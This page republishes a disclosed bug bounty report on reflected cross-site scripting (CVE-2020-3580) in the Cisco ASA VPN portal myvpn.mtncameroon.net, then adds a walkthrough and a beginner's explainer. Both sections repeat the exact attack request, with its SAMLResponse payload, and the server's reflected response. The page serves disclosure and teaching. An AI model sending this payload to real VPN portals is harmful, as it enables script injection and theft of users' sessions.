Skip to content
XSS Disclosed report Beginner CVE-2020-3580

Reflected Cross Site Scripting Cisco ASA on myvpn.mtncameroon.net CVE-2020-3580

The Cisco ASA web services interface reflects user input from the SAMLResponse parameter without proper sanitisation, allowing an attacker to inject and execute arbitrary JavaScript in a victim's browser. A successful exploit could let the attacker run script in the context of the interface or access sensitive browser-based information.

renzi Follow

Originally disclosed on HackerOne

  • Triaged in 9 days
  • Fixed in 5 months
  • Disclosed after 3.1 years

##Summary:

Hello, I would like report this vulnerability to MTN, Cross Site Scripting on Cisco ASA CVE-2020-3580.

Multiple vulnerabilities in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the web services interface of an affected device.

##Steps To Reproduce: ###how we can reproduce the issue;

1.Go to https://myvpn.mtncameroon.net ; 2. Intercept request with burp suite and send this "POST" Request, we will see response with JavaScript ..

  • Request
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: myvpn.mtncameroon.net
Cookie: webvpnlogin=1; webvpnLang=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
Content-Length: 42

SAMLResponse="><svg/onload=alert('Renzi')>
  • Response
HTML
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Wed, 30 Jun 2021 00:59:25 GMT
X-Frame-Options: SAMEORIGIN
Content-Length: 761


<html>
<head>
<script>
function submit_saml() {
    document.cookie = "webvpnlogin=1; path=/; secure";
    document.createElement('form').submit.call(document.getElementById('samlform'));
}
</script>
</head>
<body onload="submit_saml()">
<form id="samlform" action="/+webvpn+/index.html" method="POST">
<input type="hidden" name="tgroup" value="">
<input type="hidden" name="next" value="">
<input type="hidden" name="tgcookieset" value="">
<input type="hidden" name="group_list" value="a">
<input type="hidden" name="username" value="">
<input type="hidden" name="password" value="">
<input type="hidden" name="SAMLResponse" value=""><svg/onload=alert('Renzi')>">
<input type="submit" name="Login" value="Login" style="display:none;">
</form>
</body>
</html>

3.Response with JavaScript alert, Proof of Concept XSS.

imagem_2021-06-29_220541.png
imagem_2021-06-29_220541.png From the original on HackerOne

##Supporting Material/References:

Impact

A successful exploit could allow the attacker to execute arbitrary script code in the context of the interface or allow the attacker to access sensitive, browser-based information.

The original report as published on HackerOne, by renzi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 4 min read.

Context

The target is myvpn.mtncameroon.net, a VPN portal belonging to MTN Cameroon and reachable over HTTPS. The hostname and the request path in the report (/+CSCOE+/saml/sp/acs) identify it as a Cisco Adaptive Security Appliance (ASA) web services interface, specifically the SAML assertion consumer service used during SAML-based single sign-on.

That endpoint normally receives a SAMLResponse posted by an identity provider, places the value into a hidden form field, and returns an HTML page whose onload handler submits the form to /+webvpn+/index.html so the VPN login flow can continue. The vulnerability class is reflected cross-site scripting, tracked as CVE-2020-3580, which Cisco describes as affecting the web services interface of ASA and Firepower Threat Defence (FTD) software and allowing an unauthenticated, remote attacker to conduct XSS attacks against a user of that interface.

Setup

No account, role or special configuration is described. The request carries the cookies webvpnlogin=1 and webvpnLang=en, which are the ordinary state cookies of the webvpn login page, and the response is returned without authentication. The only tool named is Burp Suite, used to intercept the request and resend it as a POST. The researcher's browser string in the captured request is Firefox 89 on Windows, and the response is dated 30 June 2021.

Finding it

The researcher went to the VPN portal and intercepted the traffic to the SAML assertion consumer endpoint. The endpoint takes the posted SAMLResponse and reflects it into the HTML it returns. Because the value is written into an attribute context without encoding, a value that closes the attribute and opens a new tag is rendered as markup by the browser, and the page's own onload handler then submits the form, which is enough to trigger the injected handler.

Exploitation

Step 1: reach the portal

Browse to the VPN portal:

Text
https://myvpn.mtncameroon.net

Step 2: send the crafted SAML POST

Intercept the request with Burp Suite and send the following POST. The response contains the injected JavaScript.

HTTP
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: myvpn.mtncameroon.net
Cookie: webvpnlogin=1; webvpnLang=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
Content-Length: 42

SAMLResponse="><svg/onload=alert('Renzi')>

The path /+CSCOE+/saml/sp/acs is the SAML assertion consumer service, and the request carries the query string tgname=a. The body is a single form parameter, SAMLResponse, whose value starts by closing the surrounding attribute with "> and then opens an svg element with an onload handler that calls alert('Renzi').

Step 3: read the reflected response

The server answers with 200 OK and an HTML document in which the payload sits inside the value attribute of the hidden SAMLResponse input:

HTML
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Wed, 30 Jun 2021 00:59:25 GMT
X-Frame-Options: SAMEORIGIN
Content-Length: 761

<html>
<head>
<script>
function submit_saml() {
    document.cookie = "webvpnlogin=1; path=/; secure";
    document.createElement('form').submit.call(document.getElementById('samlform'));
}
</script>
</head>
<body onload="submit_saml()">
<form id="samlform" action="/+webvpn+/index.html" method="POST">
<input type="hidden" name="tgroup" value="">
<input type="hidden" name="next" value="">
<input type="hidden" name="tgcookieset" value="">
<input type="hidden" name="group_list" value="a">
<input type="hidden" name="username" value="">
<input type="hidden" name="password" value="">
<input type="hidden" name="SAMLResponse" value=""><svg/onload=alert('Renzi')>">
<input type="submit" name="Login" value="Login" style="display:none;">
</form>
</body>
</html>

The page sets webvpnlogin=1 as a secure cookie, defines submit_saml(), and calls it from the body onload attribute. The function submits the samlform to /+webvpn+/index.html. The injected svg element is parsed as part of the document because the value attribute was terminated early, so its onload handler runs when the element loads. The response also carries X-Frame-Options: SAMEORIGIN.

Step 4: confirm execution

The browser renders the returned page and the injected handler fires, producing the JavaScript alert as proof of concept.

imagem_2021-06-29_220541.png
imagem_2021-06-29_220541.png From the original on HackerOne

The screenshot shows the alert box raised by the payload, confirming that the reflected value executes as script in the context of the VPN portal.

Root cause

The SAML assertion consumer service reflects the SAMLResponse parameter into the value attribute of a hidden input without HTML-encoding it. A double quote in the parameter therefore ends the attribute, and the remainder of the value is parsed as markup, including event handlers. The page's own onload handler submits the form to /+webvpn+/index.html. The report does not describe the server-side code, so the exact implementation mistake is inferred from the response body.

Impact

As the report states, a successful exploit could allow the attacker to execute arbitrary script code in the context of the interface, or allow the attacker to access sensitive, browser-based information. The attack is unauthenticated and remote, and it targets a user of the web services interface, so the victim has to load the crafted request for the script to run. The report does not describe any specific data that was read or any account that was compromised beyond the alert demonstration.

Fix

The vendor advisory for CVE-2020-3580 is referenced in the report.

Variants to test

Hunting notes

The researcher demonstrated impact with a working alert in the browser and tied the behaviour to a published CVE.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

A security researcher found a bug on a website that belongs to MTN Cameroon: myvpn.mtncameroon.net. This site is a VPN portal. A VPN (virtual private network) is a service that lets you connect to a company's private network over the internet, as if your computer were sitting inside the office. Before you can use it, you log in through a web page, and that page is what the researcher looked at.

The bug is called reflected cross-site scripting, or reflected XSS for short. XSS means that a website can be tricked into putting someone else's JavaScript into a page it shows to a visitor. JavaScript is the programming language that browsers run to make pages interactive. "Reflected" means the bad input is not stored on the server: it arrives in a request, the server copies it straight back into the page it returns, and the browser runs it. A simple comparison: imagine a receptionist who repeats back whatever a visitor says. If a visitor says "announce that the building is on fire", the receptionist shouts it through the whole office. The receptionist meant no harm, but the message got spread.

The specific flaw is tracked as CVE-2020-3580. A CVE is a public catalogue number given to a known security vulnerability, so people can refer to it unambiguously. Cisco, the company that makes the appliance, published an advisory saying that the web services interface of its ASA (Adaptive Security Appliance) and FTD (Firepower Threat Defence) products could let an unauthenticated, remote attacker run XSS attacks against a user of that interface. "Unauthenticated" means the attacker does not need an account. "Remote" means they do it over the network, not by touching the device.

The researcher showed the bug with a harmless pop-up box: a small alert window that appears in the browser. That is the standard, safe way to prove that script can run. No real data was taken and no account was broken into.

The target and the feature involved

The hostname myvpn.mtncameroon.net is reached over HTTPS, the encrypted version of the web (the padlock in your browser). The request path in the report, /+CSCOE+/saml/sp/acs, tells us which part of the appliance is being used. It is the SAML assertion consumer service.

SAML is a standard for single sign-on: instead of typing a password into every app, you log in once with an identity provider (a central login service), which then sends a signed statement to the app saying "this person is who they claim to be". That statement is called a SAML assertion. The "assertion consumer service" is the address on the app that receives the assertion. Think of it as the mail slot where the identity provider drops the sealed letter, and the app opens it to let you in.

Normally this endpoint receives a SAMLResponse value posted by the identity provider, puts that value into a hidden field of an HTML form, and returns a page. The page has an onload handler, which is a piece of JavaScript the browser runs automatically as soon as the page finishes loading. That handler submits the form onward to /+webvpn+/index.html so the VPN login can continue. A hidden form field is just a value the page carries along without showing it to the user.

Setting up

The report describes no account, role or special configuration. The request carries two cookies, webvpnlogin=1 and webvpnLang=en. A cookie is a small piece of text a website asks your browser to keep and send back with later requests, so the site can remember state, such as "this visitor is on the login page" or "this visitor prefers English". These two are the ordinary state cookies of the webvpn login page. The response comes back without any authentication.

The only tool named is Burp Suite. Burp Suite is a program that sits between your browser and a website and lets you look at, pause and edit the requests and responses. It is used here to intercept the request and resend it as a POST. A POST is one of the standard request types in HTTP (the language browsers and servers speak): it is used when you send data to the server, for example when you submit a form.

The captured request shows the researcher's browser as Firefox 89 on Windows, and the response is dated 30 June 2021.

Finding it

The researcher opened the VPN portal and intercepted the traffic going to the SAML assertion consumer endpoint. The endpoint takes the posted SAMLResponse and copies it into the HTML page it returns. Because the value is written into an attribute without encoding, a value that closes the attribute and opens a new tag is treated by the browser as real markup. An attribute is a setting inside an HTML tag, written as name="value". Markup means the tags and elements that make up a web page. The page's own onload handler then submits the form, which is enough to make the injected handler run.

Step 1: reach the portal

Browse to the VPN portal:

Text
https://myvpn.mtncameroon.net

This is the address of the VPN portal, the first step in the report.

Step 2: send the crafted SAML POST

The researcher intercepted the request with Burp Suite and sent the following POST. The response contains the injected JavaScript.

HTTP
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: myvpn.mtncameroon.net
Cookie: webvpnlogin=1; webvpnLang=en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
Content-Length: 42

SAMLResponse="><svg/onload=alert('Renzi')>

Line by line:

  • POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1 is the request line. POST is the method (sending data), the path is the SAML assertion consumer service, and tgname=a is a query string parameter in the request.
  • Host: myvpn.mtncameroon.net tells the server which site the request is for. One server can host many sites, so this is how the right one is picked.
  • Cookie: webvpnlogin=1; webvpnLang=en sends back the two state cookies described above.
  • User-Agent: ... identifies the browser and operating system that made the request.
  • Accept: ... lists the content types the browser is willing to receive.
  • Accept-Language: ... lists the languages the browser prefers.
  • Accept-Encoding: gzip, deflate says the browser can accept compressed responses.
  • Upgrade-Insecure-Requests: 1 asks the server to prefer HTTPS.
  • Te: trailers and Connection: close are transport details: the first mentions support for trailers, the second asks to close the connection after the response.
  • Content-Length: 42 states the size of the body in bytes.
  • The blank line separates the headers from the body.
  • SAMLResponse="><svg/onload=alert('Renzi')> is the body: a single form parameter named SAMLResponse. Its value starts with ">, which closes the surrounding attribute early, and then opens an svg element with an onload handler that calls alert('Renzi'). alert is the browser function that shows a pop-up box. svg is an image format written in markup, and its onload handler runs when the element loads.

Step 3: read the reflected response

The server answers with 200 OK (the standard "success" status code) and an HTML document in which the payload sits inside the value attribute of the hidden SAMLResponse input:

HTML
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Wed, 30 Jun 2021 00:59:25 GMT
X-Frame-Options: SAMEORIGIN
Content-Length: 761

<html>
<head>
<script>
function submit_saml() {
    document.cookie = "webvpnlogin=1; path=/; secure";
    document.createElement('form').submit.call(document.getElementById('samlform'));
}
</script>
</head>
<body onload="submit_saml()">
<form id="samlform" action="/+webvpn+/index.html" method="POST">
<input type="hidden" name="tgroup" value="">
<input type="hidden" name="next" value="">
<input type="hidden" name="tgcookieset" value="">
<input type="hidden" name="group_list" value="a">
<input type="hidden" name="username" value="">
<input type="hidden" name="password" value="">
<input type="hidden" name="SAMLResponse" value=""><svg/onload=alert('Renzi')>">
<input type="submit" name="Login" value="Login" style="display:none;">
</form>
</body>
</html>

Line by line:

  • HTTP/1.1 200 OK is the status line: the request succeeded.
  • Content-Type: text/html; charset=utf-8 says the body is an HTML page encoded in UTF-8, a common text encoding.
  • Cache-Control: no-cache and Pragma: no-cache tell the browser not to store the page for reuse.
  • Connection: Keep-Alive keeps the network connection open for further requests.
  • Date: ... is when the server produced the response.
  • X-Frame-Options: SAMEORIGIN is a security header that limits framing of the page to the same origin.
  • Content-Length: 761 is the size of the body in bytes.
  • The <script> block defines a function called submit_saml(). A function is a named block of code that can be run later.
  • document.cookie = "webvpnlogin=1; path=/; secure"; sets the webvpnlogin cookie for the whole site, marked secure so it is only sent over HTTPS.
  • document.createElement('form').submit.call(document.getElementById('samlform')); finds the form with the id samlform and submits it.
  • <body onload="submit_saml()"> runs that function as soon as the page loads.
  • The <form> has the id samlform, posts to /+webvpn+/index.html, and contains several hidden inputs: tgroup, next, tgcookieset, group_list, username, password and SAMLResponse.
  • The SAMLResponse input is where the problem is: value=""><svg/onload=alert('Renzi')>">. The "> ends the value attribute early, so the browser treats <svg/onload=alert('Renzi')> as a real element. Its onload handler runs when the element loads.
  • The submit button is hidden with style="display:none;", so the user never sees it; the script submits the form instead.

Step 4: confirm execution

The browser renders the returned page and the injected handler fires, producing the JavaScript alert as proof of concept.

imagem_2021-06-29_220541.png
imagem_2021-06-29_220541.png From the original on HackerOne

The screenshot shows the alert box raised by the payload, confirming that the reflected value executes as script in the context of the VPN portal.

Root cause

The SAML assertion consumer service reflects the SAMLResponse parameter into the value attribute of a hidden input without HTML-encoding it. HTML-encoding means turning special characters such as <, > and " into safe codes so the browser shows them as text instead of treating them as markup. A double quote in the parameter therefore ends the attribute, and the rest of the value is parsed as markup, including event handlers. The page's own onload handler submits the form to /+webvpn+/index.html. The report does not describe the server-side code, so the exact implementation mistake is inferred from the response body.

Impact

As the report states, a successful exploit could allow the attacker to execute arbitrary script code in the context of the interface, or allow the attacker to access sensitive, browser-based information. "In the context of the interface" means the script runs as if it came from the VPN portal itself, so the browser trusts it with anything that page is allowed to see. The attack is unauthenticated and remote, and it targets a user of the web services interface, so the victim has to load the crafted request for the script to run. The report does not describe any specific data that was read or any account that was compromised beyond the alert demonstration.

Fix

The vendor advisory for CVE-2020-3580 is referenced in the report.

Variants to test

Hunting notes

String concatenation means gluing pieces of text together to make a page, which is easy to get wrong when some of those pieces come from the user. The researcher demonstrated impact with a working alert in the browser and tied the behaviour to a published CVE.

Glossary

  • VPN (virtual private network): a service that connects your computer to a private network over the internet, as if you were inside the office.
  • VPN portal: the web page you log in through before using a VPN.
  • HTTPS: the encrypted version of the web, shown by the padlock in the browser.
  • JavaScript: the programming language browsers run to make pages interactive.
  • XSS (cross-site scripting): a bug where a website puts someone else's JavaScript into a page it shows to a visitor, so the browser runs it.
  • Reflected XSS: XSS where the bad input is not stored on the server but copied straight from a request into the response.
  • CVE: a public catalogue number for a known security vulnerability.
  • Cisco ASA (Adaptive Security Appliance): a network security device made by Cisco; the product behind this portal.
  • FTD (Firepower Threat Defence): another Cisco security product affected by the same CVE.
  • Unauthenticated: done without logging in or having an account.
  • Remote: done over the network, without physical access to the device.
  • SAML: a standard for single sign-on, where a central login service sends a signed statement to an app saying who you are.
  • Identity provider: the central login service that issues the SAML statement.
  • SAML assertion: the signed statement that says who you are.
  • SAML assertion consumer service: the address on the app that receives the SAML assertion.
  • Endpoint: a specific address on a server that handles a particular kind of request.
  • Cookie: a small piece of text a site asks your browser to keep and send back with later requests, so the site can remember state.
  • Burp Suite: a tool that sits between your browser and a website so you can look at, pause and edit requests and responses.
  • POST: an HTTP request type used to send data to the server, for example a form submission.
  • HTTP: the language browsers and servers use to exchange requests and responses.
  • Request / response: what the browser sends to the server, and what the server sends back.
  • Header: a line of metadata at the top of a request or response.
  • Status code: a number in the response saying how the request went, such as 200 OK for success.
  • Query string: the part of a URL after ?, carrying extra parameters.
  • Tunnel group: the appliance's name for a set of VPN connection settings.
  • User-Agent: a header identifying the browser and operating system that made the request.
  • Content-Length: a header stating the size of the body in bytes.
  • HTML: the markup language that describes the structure of a web page.
  • Markup: the tags and elements that make up a web page.
  • Attribute: a setting inside an HTML tag, written as name="value".
  • HTML-encoding: turning special characters such as <, > and " into safe codes so the browser shows them as text instead of markup.
  • Tag / element: a piece of HTML such as <input> or <svg>.
  • svg: an image format written in markup; its onload handler runs when the element loads.
  • Event handler: code that runs when something happens, such as a page or element loading.
  • onload: the event that fires when a page or element finishes loading.
  • alert: the browser function that shows a pop-up box.
  • Function: a named block of code that can be run later.
  • Hidden form field: a value a page carries along without showing it to the user.
  • Form: the part of a page that collects values and sends them to the server.
  • Frame: a page shown inside another page.
  • X-Frame-Options: a security header that stops other sites from embedding a page in a frame.
  • Origin: the combination of scheme, host and port that identifies where a page came from.
  • Proof of concept: a harmless demonstration that a bug is real, such as a pop-up box.
  • Recon: the early stage of looking around a target to learn what it runs.
  • Fingerprint: identifying which product and version a server runs from the paths and responses it exposes.
  • String concatenation: gluing pieces of text together to build a page.
  • Vendor advisory: the manufacturer's public notice about a vulnerability and its fix.

More by renzi

View all

8 more disclosed reports, best first.

More from MTN Group

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.